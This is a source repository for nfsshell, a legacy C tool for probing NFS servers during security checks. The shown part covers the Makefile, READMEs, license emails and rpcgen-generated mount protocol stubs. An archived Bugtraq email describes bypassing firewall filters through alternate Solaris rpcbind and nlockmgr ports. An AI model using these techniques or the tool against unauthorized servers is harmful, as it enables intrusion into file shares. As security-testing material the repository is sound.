├── .gitignore ├── LICENSE.txt ├── Makefile ├── README.md ├── READ_ME ├── mail ├── Friedrichs └── bsdlicense.msg ├── mount.h ├── mount.x ├── mount_clnt.c ├── mount_svc.c ├── mount_xdr.c ├── nfs_prot.h ├── nfs_prot.x ├── nfs_prot_clnt.c ├── nfs_prot_svc.c ├── nfs_prot_xdr.c ├── nfsshell.c └── steal.c /.gitignore: -------------------------------------------------------------------------------- 1 | .*.sw[op] 2 | *.o 3 | *.bak 4 | nfs 5 | tags 6 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 1990-1998 by Leendert van Doorn 2 | Copyright (c) 2013 by Michael Brown, Net Direct 3 | 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | * Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | * Redistributions in binary form must reproduce the above copyright 11 | notice, this list of conditions and the following disclaimer in the 12 | documentation and/or other materials provided with the distribution. 13 | * Neither the name of Vrije Universiteit, Net Direct nor the 14 | names of its contributors may be used to endorse or promote products 15 | derived from this software without specific prior written permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 18 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 19 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 20 | DISCLAIMED. IN NO EVENT SHALL LEENDERT VAN DOORN, VRIJE UNIVERSITEIT 21 | (AMSTERDAM), MICHAEL BROWN, OR NET DIRECT (CANADA) BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 23 | BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 24 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 25 | LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE 26 | OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 27 | ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Makefile 3 | # 4 | # 5 | # Copyright (c) 1990-1998 by Leendert van Doorn 6 | # Copyright (c) 2013 by Michael Brown, Net Direct 7 | # 8 | # For solaris 2.x you need 9 | # CFLAGS=-DSYSV 10 | # LIBS=-lsocket -L/usr/ucblib -R/usr/ucblib -lrpcsoc -lnsl 11 | # 12 | # For AIX you need 13 | # CFLAGS=-DAIX 14 | # LIBS= 15 | # 16 | # For Linux you need (don't use the GNU lines below) 17 | # CFLAGS=-DREADLINE -I/usr/local/include 18 | # LIBS=-L/usr/local/lib -lreadline -lhistory -lncurses 19 | # 20 | # For GNU readline support you need to add 21 | # CFLAGS=-DREADLINE -I/usr/local/include 22 | # LIBS=-L/usr/local/lib -lreadline -lhistory -ltermlib 23 | # 24 | 25 | # uncomment the following 4 lines for Solaris 2.x 26 | #CC = gcc 27 | #CFLAGS = -DSYSV -DREADLINE -I/usr/local/include 28 | #LIBS = -lsocket -L/usr/ucblib -R/usr/ucblib -lrpcsoc -lnsl \ 29 | # -L/usr/local/lib -lreadline -lhistory -ltermlib 30 | 31 | # uncomment the following 3 lines for AIX 32 | #CC = gcc 33 | #CFLAGS = -DAIX 34 | #LIBS = 35 | 36 | # uncomment the following 3 lines for linux (tested on 2.0.33/redhat 5) 37 | CC = gcc 38 | CFLAGS = -g -DREADLINE -I/usr/local/include 39 | LIBS = -L/usr/local/lib -lreadline -lhistory -lncurses 40 | 41 | RPCGEN = rpcgen 42 | RGFLAGS = -C 43 | 44 | NFS_OBJECTS = mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o 45 | STEAL_OBJECTS = steal.o nfs_prot_clnt.o nfs_prot_xdr.o 46 | RPCGEN_MOUNT = mount.h mount_clnt.c mount_svc.c mount_xdr.c 47 | RPCGEN_NFS_PROT = nfs_prot.h nfs_prot_clnt.c nfs_prot_svc.c nfs_prot_xdr.c 48 | 49 | nfsshell: $(NFS_OBJECTS) 50 | $(CC) -g -o nfsshell $(NFS_OBJECTS) $(LIBS) 51 | 52 | steal: $(STEAL_OBJECTS) 53 | $(CC) -g -o steal $(STEAL_OBJECTS) $(LIBS) 54 | 55 | lint-nfs: 56 | lint nfsshell.c mount_clnt.c mount_xdr.c 57 | 58 | lint-steal: 59 | lint steal.c nfs_prot_clnt.c nfs_prot_xdr.c 60 | 61 | tar: clean 62 | (cd ..; tar cvf nfsshell.tar nfs; gzip -9f nfsshell.tar; \ 63 | uuencode nfsshell.tar.gz < nfsshell.tar.gz > nfsshell.tar.gz.uue) 64 | 65 | clean: 66 | rm -f nfsshell steal $(NFS_OBJECTS) $(STEAL_OBJECTS) 67 | 68 | clobber: clean 69 | rm -f $(RPCGEN_MOUNT) $(RPCGEN_NFS_PROT) 70 | 71 | $(RPCGEN_MOUNT):; $(RPCGEN) $(RGFLAGS) mount.x 72 | $(RPCGEN_NFS_PROT):; $(RPCGEN) $(RGFLAGS) nfs_prot.x 73 | 74 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | nfsshell 2 | ======== 3 | 4 | NFS shell that provides user level access to an NFS server, over UDP or TCP, 5 | supports source routing and "secure" (privileged port) mounts. It's a 6 | useful tool to manually check (or show) security problems after a security 7 | scanner has detected them. 8 | 9 | Originally released by Leendert van Doorn, updated to support NFSv3 by Michael Brown 10 | -------------------------------------------------------------------------------- /READ_ME: -------------------------------------------------------------------------------- 1 | Nfs shell provides user level access to an NFS server, over UDP or TCP, 2 | supports source routing and "secure" (privileged port) mounts. Its a 3 | useful tool to manually check (or show) security problems after a security 4 | scanner has detected them. 5 | 6 | The sources are in: 7 | 8 | ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz 9 | 10 | The shell is tested on the following systems: 11 | 12 | System V release 4 (386) 13 | SunOS 4.[123] (SPARC/SUN3) 14 | DEC Ultrix 4.[23] (DEC Station 5100) 15 | AIX 4.1 16 | Linux 2.0.33 17 | Linux Redhat 5 (1) 18 | 19 | (1) The stock RedHat 5 distribution lacks /usr/include/rpc/key_prot*. 20 | You have to install this before compiling. I took mine from our 21 | Linux 2.0.27 machine. 22 | 23 | -- 24 | Leendert van Doorn 25 | IBM T.J. Watson Research Center (914) 784-7831 26 | 30 Saw Mill River Road, Hawthorne, NY 10532 27 | -------------------------------------------------------------------------------- /mail/Friedrichs: -------------------------------------------------------------------------------- 1 | (Message inbox:4042) 2 | 3 | Date: Tue, 19 May 1998 12:22:57 MDT 4 | To: BUGTRAQ@NETSPACE.ORG 5 | From: Oliver Friedrichs 6 | Subject: Re: NFS shell 7 | 8 | Return-Path: leendert@cs.vu.nl 9 | Delivery-Date: Tue May 19 14:43:22 1998 10 | Return-Path: 11 | Resent-From: leendert@cs.vu.nl 12 | Resent-Message-Id: 13 | Approved-By: aleph1@NATIONWIDE.NET 14 | X-Sender: oliver@silence.secnet.com 15 | MIME-Version: 1.0 16 | Reply-To: Oliver Friedrichs 17 | Sender: Bugtraq List 18 | X-To: Leendert van Doorn 19 | In-Reply-To: 20 | Resent-To: leendert@watson.ibm.com 21 | Resent-Date: Tue, 19 May 98 20:43 +0200 22 | Content-Length: 952 23 | 24 | > The sources are in: 25 | > 26 | > ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz 27 | > 28 | > Suggestions for improvements are welcome. 29 | 30 | Some interesting features that people will probably want to add to this: 31 | 32 | - ability to query rpcbind/portmap on port 32771. rpcbind on (unpatched) 33 | solaris listened on a port equal to, or above 32771. This allows you to 34 | bypass any filters that may be blocking standard portmap/rpcbind on port 35 | 111. 36 | 37 | - ability to perform NFS over port 4045. Solaris nlockmgr service will 38 | accept any NFS packets and always listens on port 4045, probably because 39 | it's a direct path into the kernel like NFS is. This allows you to 40 | bypass any filters that may be blocking NFS traffic on port 2049. 41 | 42 | Just 2 of a number of undocumented services that we found in Solaris... 43 | 44 | - Oliver 45 | 46 | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 47 | Network Associates, Inc. 2805 Bowers Ave, Santa Clara, CA, 95051 48 | -------------------------------------------------------------------------------- /mail/bsdlicense.msg: -------------------------------------------------------------------------------- 1 | From leendert@paramecium.org Fri Apr 26 15:08:40 2013 2 | Date: Fri, 26 Apr 2013 14:08:22 +0100 3 | Subject: Re: nfsshell.c 4 | From: Leendert van Doorn 5 | To: Michael Brown , 6 | Leendert van Doorn 7 | Message-ID: 8 | Thread-Topic: nfsshell.c 9 | In-Reply-To: <5179E004.2080805@netdirect.ca> 10 | Mime-version: 1.0 11 | Content-type: text/plain; 12 | charset="UTF-8" 13 | Content-transfer-encoding: quoted-printable 14 | 15 | 16 | Hi Michael, 17 | 18 | This code preceded BSD and even X11 licenses :) I'm happy to put a BSD 19 | license on it. 20 | 21 | I won't be able to do it on the ftp site below (that's my old university 22 | and I don't even have an account there anymore) but I can put it up on my 23 | own ftp site. 24 | 25 | Leendert 26 | 27 | 28 | On 4/26/13 3:01 AM, "Michael Brown" wrote: 29 | 30 | >Hello! 31 | > 32 | >I've come across this[1] and needed to adapt it to my purposes. It now 33 | >supports NFSv3 (or it will after I actually test it). 34 | > 35 | >I'd potentially like to publish my changes. Is the code you posted under 36 | >any sort of license (MIT X11 for example)? 37 | > 38 | >M. 39 | > 40 | >[1] ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz 41 | > 42 | >--=20 43 | >Michael Brown | `One of the main causes of the fall of 44 | >Systems Consultant | the Roman Empire was that, lacking zero, 45 | >Net Direct Inc. | they had no way to indicate successful 46 | >=E2=98=8E: +1 519 883 1172 x5106 | termination of their C programs.' - Firth 47 | 48 | 49 | -------------------------------------------------------------------------------- /mount.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Please do not edit this file. 3 | * It was generated using rpcgen. 4 | */ 5 | 6 | #ifndef _MOUNT_H_RPCGEN 7 | #define _MOUNT_H_RPCGEN 8 | 9 | #include 10 | 11 | 12 | #ifdef __cplusplus 13 | extern "C" { 14 | #endif 15 | 16 | #define MNTPATHLEN 1024 17 | #define MNTNAMLEN 255 18 | #define FHSIZE3 64 19 | 20 | typedef struct { 21 | u_int fhandle3_len; 22 | char fhandle3_val[FHSIZE3]; 23 | } fhandle3; 24 | 25 | typedef char *dirpath; 26 | 27 | typedef char *name; 28 | 29 | enum mountstat3 { 30 | MNT3_OK = 0, 31 | MNT3ERR_PERM = 1, 32 | MNT3ERR_NOENT = 2, 33 | MNT3ERR_IO = 5, 34 | MNT3ERR_ACCES = 13, 35 | MNT3ERR_NOTDIR = 20, 36 | MNT3ERR_INVAL = 22, 37 | MNT3ERR_NAMETOOLONG = 63, 38 | MNT3ERR_NOTSUPP = 10004, 39 | MNT3ERR_SERVERFAULT = 10006, 40 | }; 41 | typedef enum mountstat3 mountstat3; 42 | 43 | typedef struct mountbody *mountlist; 44 | 45 | struct mountbody { 46 | name ml_hostname; 47 | dirpath ml_directory; 48 | mountlist ml_next; 49 | }; 50 | typedef struct mountbody mountbody; 51 | 52 | typedef struct groupnode *groups; 53 | 54 | struct groupnode { 55 | name gr_name; 56 | groups gr_next; 57 | }; 58 | typedef struct groupnode groupnode; 59 | 60 | typedef struct exportnode *exports; 61 | 62 | struct exportnode { 63 | dirpath ex_dir; 64 | groups ex_groups; 65 | exports ex_next; 66 | }; 67 | typedef struct exportnode exportnode; 68 | 69 | struct mountres3_ok { 70 | fhandle3 fhandle; 71 | struct { 72 | u_int auth_flavors_len; 73 | int *auth_flavors_val; 74 | } auth_flavors; 75 | }; 76 | typedef struct mountres3_ok mountres3_ok; 77 | 78 | struct mountres3 { 79 | mountstat3 fhs_status; 80 | union { 81 | mountres3_ok mountinfo; 82 | } mountres3_u; 83 | }; 84 | typedef struct mountres3 mountres3; 85 | 86 | enum mountstat1 { 87 | MNT1_OK = 0, 88 | MNT1ERR_PERM = 1, 89 | MNT1ERR_NOENT = 2, 90 | MNT1ERR_IO = 5, 91 | MNT1ERR_ACCES = 13, 92 | MNT1ERR_NOTDIR = 20, 93 | MNT1ERR_INVAL = 22, 94 | MNT1ERR_NAMETOOLONG = 63, 95 | MNT1ERR_NOTSUPP = 10004, 96 | MNT1ERR_SERVERFAULT = 10006, 97 | }; 98 | typedef enum mountstat1 mountstat1; 99 | #define FHSIZE 32 100 | 101 | typedef char fhandle1[FHSIZE]; 102 | 103 | struct mountres1_ok { 104 | fhandle1 fhandle; 105 | }; 106 | typedef struct mountres1_ok mountres1_ok; 107 | 108 | struct mountres1 { 109 | mountstat1 fhs_status; 110 | union { 111 | mountres1_ok mountinfo; 112 | } mountres1_u; 113 | }; 114 | typedef struct mountres1 mountres1; 115 | 116 | #define MOUNT_PROGRAM 100005 117 | #define MOUNT_V1 1 118 | 119 | #if defined(__STDC__) || defined(__cplusplus) 120 | #define MOUNT1_NULL 0 121 | extern void * mount1_null_1(void *, CLIENT *); 122 | extern void * mount1_null_1_svc(void *, struct svc_req *); 123 | #define MOUNT1_MNT 1 124 | extern mountres1 * mount1_mnt_1(dirpath *, CLIENT *); 125 | extern mountres1 * mount1_mnt_1_svc(dirpath *, struct svc_req *); 126 | #define MOUNT1_DUMP 2 127 | extern mountlist * mount1_dump_1(void *, CLIENT *); 128 | extern mountlist * mount1_dump_1_svc(void *, struct svc_req *); 129 | #define MOUNT1_UMNT 3 130 | extern void * mount1_umnt_1(dirpath *, CLIENT *); 131 | extern void * mount1_umnt_1_svc(dirpath *, struct svc_req *); 132 | #define MOUNT1_UMNTALL 4 133 | extern void * mount1_umntall_1(void *, CLIENT *); 134 | extern void * mount1_umntall_1_svc(void *, struct svc_req *); 135 | #define MOUNT1_EXPORT 5 136 | extern exports * mount1_export_1(void *, CLIENT *); 137 | extern exports * mount1_export_1_svc(void *, struct svc_req *); 138 | extern int mount_program_1_freeresult (SVCXPRT *, xdrproc_t, caddr_t); 139 | 140 | #else /* K&R C */ 141 | #define MOUNT1_NULL 0 142 | extern void * mount1_null_1(); 143 | extern void * mount1_null_1_svc(); 144 | #define MOUNT1_MNT 1 145 | extern mountres1 * mount1_mnt_1(); 146 | extern mountres1 * mount1_mnt_1_svc(); 147 | #define MOUNT1_DUMP 2 148 | extern mountlist * mount1_dump_1(); 149 | extern mountlist * mount1_dump_1_svc(); 150 | #define MOUNT1_UMNT 3 151 | extern void * mount1_umnt_1(); 152 | extern void * mount1_umnt_1_svc(); 153 | #define MOUNT1_UMNTALL 4 154 | extern void * mount1_umntall_1(); 155 | extern void * mount1_umntall_1_svc(); 156 | #define MOUNT1_EXPORT 5 157 | extern exports * mount1_export_1(); 158 | extern exports * mount1_export_1_svc(); 159 | extern int mount_program_1_freeresult (); 160 | #endif /* K&R C */ 161 | #define MOUNT_V3 3 162 | 163 | #if defined(__STDC__) || defined(__cplusplus) 164 | #define MOUNT3_NULL 0 165 | extern void * mount3_null_3(void *, CLIENT *); 166 | extern void * mount3_null_3_svc(void *, struct svc_req *); 167 | #define MOUNT3_MNT 1 168 | extern mountres3 * mount3_mnt_3(dirpath *, CLIENT *); 169 | extern mountres3 * mount3_mnt_3_svc(dirpath *, struct svc_req *); 170 | #define MOUNT3_DUMP 2 171 | extern mountlist * mount3_dump_3(void *, CLIENT *); 172 | extern mountlist * mount3_dump_3_svc(void *, struct svc_req *); 173 | #define MOUNT3_UMNT 3 174 | extern void * mount3_umnt_3(dirpath *, CLIENT *); 175 | extern void * mount3_umnt_3_svc(dirpath *, struct svc_req *); 176 | #define MOUNT3_UMNTALL 4 177 | extern void * mount3_umntall_3(void *, CLIENT *); 178 | extern void * mount3_umntall_3_svc(void *, struct svc_req *); 179 | #define MOUNT3_EXPORT 5 180 | extern exports * mount3_export_3(void *, CLIENT *); 181 | extern exports * mount3_export_3_svc(void *, struct svc_req *); 182 | extern int mount_program_3_freeresult (SVCXPRT *, xdrproc_t, caddr_t); 183 | 184 | #else /* K&R C */ 185 | #define MOUNT3_NULL 0 186 | extern void * mount3_null_3(); 187 | extern void * mount3_null_3_svc(); 188 | #define MOUNT3_MNT 1 189 | extern mountres3 * mount3_mnt_3(); 190 | extern mountres3 * mount3_mnt_3_svc(); 191 | #define MOUNT3_DUMP 2 192 | extern mountlist * mount3_dump_3(); 193 | extern mountlist * mount3_dump_3_svc(); 194 | #define MOUNT3_UMNT 3 195 | extern void * mount3_umnt_3(); 196 | extern void * mount3_umnt_3_svc(); 197 | #define MOUNT3_UMNTALL 4 198 | extern void * mount3_umntall_3(); 199 | extern void * mount3_umntall_3_svc(); 200 | #define MOUNT3_EXPORT 5 201 | extern exports * mount3_export_3(); 202 | extern exports * mount3_export_3_svc(); 203 | extern int mount_program_3_freeresult (); 204 | #endif /* K&R C */ 205 | 206 | /* the xdr functions */ 207 | 208 | #if defined(__STDC__) || defined(__cplusplus) 209 | extern bool_t xdr_fhandle3 (XDR *, fhandle3*); 210 | extern bool_t xdr_dirpath (XDR *, dirpath*); 211 | extern bool_t xdr_name (XDR *, name*); 212 | extern bool_t xdr_mountstat3 (XDR *, mountstat3*); 213 | extern bool_t xdr_mountlist (XDR *, mountlist*); 214 | extern bool_t xdr_mountbody (XDR *, mountbody*); 215 | extern bool_t xdr_groups (XDR *, groups*); 216 | extern bool_t xdr_groupnode (XDR *, groupnode*); 217 | extern bool_t xdr_exports (XDR *, exports*); 218 | extern bool_t xdr_exportnode (XDR *, exportnode*); 219 | extern bool_t xdr_mountres3_ok (XDR *, mountres3_ok*); 220 | extern bool_t xdr_mountres3 (XDR *, mountres3*); 221 | extern bool_t xdr_mountstat1 (XDR *, mountstat1*); 222 | extern bool_t xdr_fhandle1 (XDR *, fhandle1); 223 | extern bool_t xdr_mountres1_ok (XDR *, mountres1_ok*); 224 | extern bool_t xdr_mountres1 (XDR *, mountres1*); 225 | 226 | #else /* K&R C */ 227 | extern bool_t xdr_fhandle3 (); 228 | extern bool_t xdr_dirpath (); 229 | extern bool_t xdr_name (); 230 | extern bool_t xdr_mountstat3 (); 231 | extern bool_t xdr_mountlist (); 232 | extern bool_t xdr_mountbody (); 233 | extern bool_t xdr_groups (); 234 | extern bool_t xdr_groupnode (); 235 | extern bool_t xdr_exports (); 236 | extern bool_t xdr_exportnode (); 237 | extern bool_t xdr_mountres3_ok (); 238 | extern bool_t xdr_mountres3 (); 239 | extern bool_t xdr_mountstat1 (); 240 | extern bool_t xdr_fhandle1 (); 241 | extern bool_t xdr_mountres1_ok (); 242 | extern bool_t xdr_mountres1 (); 243 | 244 | #endif /* K&R C */ 245 | 246 | #ifdef __cplusplus 247 | } 248 | #endif 249 | 250 | #endif /* !_MOUNT_H_RPCGEN */ 251 | -------------------------------------------------------------------------------- /mount.x: -------------------------------------------------------------------------------- 1 | /* copied from RFC1813 and RFC1094 */ 2 | 3 | const MNTPATHLEN = 1024; /* Maximum bytes in a path name */ 4 | const MNTNAMLEN = 255; /* Maximum bytes in a name */ 5 | const FHSIZE3 = 64; /* Maximum bytes in a V3 file handle */ 6 | 7 | 8 | typedef opaque fhandle3; 9 | typedef string dirpath; 10 | typedef string name; 11 | 12 | enum mountstat3 { 13 | MNT3_OK = 0, /* no error */ 14 | MNT3ERR_PERM = 1, /* Not owner */ 15 | MNT3ERR_NOENT = 2, /* No such file or directory */ 16 | MNT3ERR_IO = 5, /* I/O error */ 17 | MNT3ERR_ACCES = 13, /* Permission denied */ 18 | MNT3ERR_NOTDIR = 20, /* Not a directory */ 19 | MNT3ERR_INVAL = 22, /* Invalid argument */ 20 | MNT3ERR_NAMETOOLONG = 63, /* Filename too long */ 21 | MNT3ERR_NOTSUPP = 10004, /* Operation not supported */ 22 | MNT3ERR_SERVERFAULT = 10006 /* A failure on the server */ 23 | }; 24 | 25 | 26 | typedef struct mountbody *mountlist; 27 | 28 | struct mountbody { 29 | name ml_hostname; 30 | dirpath ml_directory; 31 | mountlist ml_next; 32 | }; 33 | 34 | typedef struct groupnode *groups; 35 | 36 | struct groupnode { 37 | name gr_name; 38 | groups gr_next; 39 | }; 40 | 41 | 42 | typedef struct exportnode *exports; 43 | 44 | struct exportnode { 45 | dirpath ex_dir; 46 | groups ex_groups; 47 | exports ex_next; 48 | }; 49 | 50 | struct mountres3_ok { 51 | fhandle3 fhandle; 52 | int auth_flavors<>; 53 | }; 54 | 55 | union mountres3 switch (mountstat3 fhs_status) { 56 | case MNT3_OK: 57 | mountres3_ok mountinfo; 58 | default: 59 | void; 60 | }; 61 | 62 | 63 | enum mountstat1 { 64 | MNT1_OK = 0, /* no error */ 65 | MNT1ERR_PERM = 1, /* Not owner */ 66 | MNT1ERR_NOENT = 2, /* No such file or directory */ 67 | MNT1ERR_IO = 5, /* I/O error */ 68 | MNT1ERR_ACCES = 13, /* Permission denied */ 69 | MNT1ERR_NOTDIR = 20, /* Not a directory */ 70 | MNT1ERR_INVAL = 22, /* Invalid argument */ 71 | MNT1ERR_NAMETOOLONG = 63, /* Filename too long */ 72 | MNT1ERR_NOTSUPP = 10004, /* Operation not supported */ 73 | MNT1ERR_SERVERFAULT = 10006 /* A failure on the server */ 74 | }; 75 | 76 | const FHSIZE = 32; 77 | typedef opaque fhandle1[FHSIZE]; 78 | 79 | struct mountres1_ok { 80 | fhandle1 fhandle; 81 | }; 82 | 83 | union mountres1 switch (mountstat1 fhs_status) { 84 | case MNT1_OK: 85 | mountres1_ok mountinfo; 86 | default: 87 | void; 88 | }; 89 | 90 | program MOUNT_PROGRAM { 91 | version MOUNT_V1 { 92 | void MOUNT1_NULL(void) = 0; 93 | mountres1 MOUNT1_MNT(dirpath) = 1; 94 | mountlist MOUNT1_DUMP(void) = 2; 95 | void MOUNT1_UMNT(dirpath) = 3; 96 | void MOUNT1_UMNTALL(void) = 4; 97 | exports MOUNT1_EXPORT(void) = 5; 98 | } = 1; 99 | version MOUNT_V3 { 100 | void MOUNT3_NULL(void) = 0; 101 | mountres3 MOUNT3_MNT(dirpath) = 1; 102 | mountlist MOUNT3_DUMP(void) = 2; 103 | void MOUNT3_UMNT(dirpath) = 3; 104 | void MOUNT3_UMNTALL(void) = 4; 105 | exports MOUNT3_EXPORT(void) = 5; 106 | } = 3; 107 | } = 100005; 108 | -------------------------------------------------------------------------------- /mount_clnt.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Please do not edit this file. 3 | * It was generated using rpcgen. 4 | */ 5 | 6 | #include /* for memset */ 7 | #include "mount.h" 8 | 9 | /* Default timeout can be changed using clnt_control() */ 10 | static struct timeval TIMEOUT = { 25, 0 }; 11 | 12 | void * 13 | mount1_null_1(void *argp, CLIENT *clnt) 14 | { 15 | static char clnt_res; 16 | 17 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 18 | if (clnt_call (clnt, MOUNT1_NULL, 19 | (xdrproc_t) xdr_void, (caddr_t) argp, 20 | (xdrproc_t) xdr_void, (caddr_t) &clnt_res, 21 | TIMEOUT) != RPC_SUCCESS) { 22 | return (NULL); 23 | } 24 | return ((void *)&clnt_res); 25 | } 26 | 27 | mountres1 * 28 | mount1_mnt_1(dirpath *argp, CLIENT *clnt) 29 | { 30 | static mountres1 clnt_res; 31 | 32 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 33 | if (clnt_call (clnt, MOUNT1_MNT, 34 | (xdrproc_t) xdr_dirpath, (caddr_t) argp, 35 | (xdrproc_t) xdr_mountres1, (caddr_t) &clnt_res, 36 | TIMEOUT) != RPC_SUCCESS) { 37 | return (NULL); 38 | } 39 | return (&clnt_res); 40 | } 41 | 42 | mountlist * 43 | mount1_dump_1(void *argp, CLIENT *clnt) 44 | { 45 | static mountlist clnt_res; 46 | 47 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 48 | if (clnt_call (clnt, MOUNT1_DUMP, 49 | (xdrproc_t) xdr_void, (caddr_t) argp, 50 | (xdrproc_t) xdr_mountlist, (caddr_t) &clnt_res, 51 | TIMEOUT) != RPC_SUCCESS) { 52 | return (NULL); 53 | } 54 | return (&clnt_res); 55 | } 56 | 57 | void * 58 | mount1_umnt_1(dirpath *argp, CLIENT *clnt) 59 | { 60 | static char clnt_res; 61 | 62 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 63 | if (clnt_call (clnt, MOUNT1_UMNT, 64 | (xdrproc_t) xdr_dirpath, (caddr_t) argp, 65 | (xdrproc_t) xdr_void, (caddr_t) &clnt_res, 66 | TIMEOUT) != RPC_SUCCESS) { 67 | return (NULL); 68 | } 69 | return ((void *)&clnt_res); 70 | } 71 | 72 | void * 73 | mount1_umntall_1(void *argp, CLIENT *clnt) 74 | { 75 | static char clnt_res; 76 | 77 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 78 | if (clnt_call (clnt, MOUNT1_UMNTALL, 79 | (xdrproc_t) xdr_void, (caddr_t) argp, 80 | (xdrproc_t) xdr_void, (caddr_t) &clnt_res, 81 | TIMEOUT) != RPC_SUCCESS) { 82 | return (NULL); 83 | } 84 | return ((void *)&clnt_res); 85 | } 86 | 87 | exports * 88 | mount1_export_1(void *argp, CLIENT *clnt) 89 | { 90 | static exports clnt_res; 91 | 92 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 93 | if (clnt_call (clnt, MOUNT1_EXPORT, 94 | (xdrproc_t) xdr_void, (caddr_t) argp, 95 | (xdrproc_t) xdr_exports, (caddr_t) &clnt_res, 96 | TIMEOUT) != RPC_SUCCESS) { 97 | return (NULL); 98 | } 99 | return (&clnt_res); 100 | } 101 | 102 | void * 103 | mount3_null_3(void *argp, CLIENT *clnt) 104 | { 105 | static char clnt_res; 106 | 107 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 108 | if (clnt_call (clnt, MOUNT3_NULL, 109 | (xdrproc_t) xdr_void, (caddr_t) argp, 110 | (xdrproc_t) xdr_void, (caddr_t) &clnt_res, 111 | TIMEOUT) != RPC_SUCCESS) { 112 | return (NULL); 113 | } 114 | return ((void *)&clnt_res); 115 | } 116 | 117 | mountres3 * 118 | mount3_mnt_3(dirpath *argp, CLIENT *clnt) 119 | { 120 | static mountres3 clnt_res; 121 | 122 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 123 | if (clnt_call (clnt, MOUNT3_MNT, 124 | (xdrproc_t) xdr_dirpath, (caddr_t) argp, 125 | (xdrproc_t) xdr_mountres3, (caddr_t) &clnt_res, 126 | TIMEOUT) != RPC_SUCCESS) { 127 | return (NULL); 128 | } 129 | return (&clnt_res); 130 | } 131 | 132 | mountlist * 133 | mount3_dump_3(void *argp, CLIENT *clnt) 134 | { 135 | static mountlist clnt_res; 136 | 137 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 138 | if (clnt_call (clnt, MOUNT3_DUMP, 139 | (xdrproc_t) xdr_void, (caddr_t) argp, 140 | (xdrproc_t) xdr_mountlist, (caddr_t) &clnt_res, 141 | TIMEOUT) != RPC_SUCCESS) { 142 | return (NULL); 143 | } 144 | return (&clnt_res); 145 | } 146 | 147 | void * 148 | mount3_umnt_3(dirpath *argp, CLIENT *clnt) 149 | { 150 | static char clnt_res; 151 | 152 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 153 | if (clnt_call (clnt, MOUNT3_UMNT, 154 | (xdrproc_t) xdr_dirpath, (caddr_t) argp, 155 | (xdrproc_t) xdr_void, (caddr_t) &clnt_res, 156 | TIMEOUT) != RPC_SUCCESS) { 157 | return (NULL); 158 | } 159 | return ((void *)&clnt_res); 160 | } 161 | 162 | void * 163 | mount3_umntall_3(void *argp, CLIENT *clnt) 164 | { 165 | static char clnt_res; 166 | 167 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 168 | if (clnt_call (clnt, MOUNT3_UMNTALL, 169 | (xdrproc_t) xdr_void, (caddr_t) argp, 170 | (xdrproc_t) xdr_void, (caddr_t) &clnt_res, 171 | TIMEOUT) != RPC_SUCCESS) { 172 | return (NULL); 173 | } 174 | return ((void *)&clnt_res); 175 | } 176 | 177 | exports * 178 | mount3_export_3(void *argp, CLIENT *clnt) 179 | { 180 | static exports clnt_res; 181 | 182 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 183 | if (clnt_call (clnt, MOUNT3_EXPORT, 184 | (xdrproc_t) xdr_void, (caddr_t) argp, 185 | (xdrproc_t) xdr_exports, (caddr_t) &clnt_res, 186 | TIMEOUT) != RPC_SUCCESS) { 187 | return (NULL); 188 | } 189 | return (&clnt_res); 190 | } 191 | -------------------------------------------------------------------------------- /mount_svc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Please do not edit this file. 3 | * It was generated using rpcgen. 4 | */ 5 | 6 | #include "mount.h" 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #ifndef SIG_PF 16 | #define SIG_PF void(*)(int) 17 | #endif 18 | 19 | static void 20 | mount_program_1(struct svc_req *rqstp, register SVCXPRT *transp) 21 | { 22 | union { 23 | dirpath mount1_mnt_1_arg; 24 | dirpath mount1_umnt_1_arg; 25 | } argument; 26 | char *result; 27 | xdrproc_t _xdr_argument, _xdr_result; 28 | char *(*local)(char *, struct svc_req *); 29 | 30 | switch (rqstp->rq_proc) { 31 | case MOUNT1_NULL: 32 | _xdr_argument = (xdrproc_t) xdr_void; 33 | _xdr_result = (xdrproc_t) xdr_void; 34 | local = (char *(*)(char *, struct svc_req *)) mount1_null_1_svc; 35 | break; 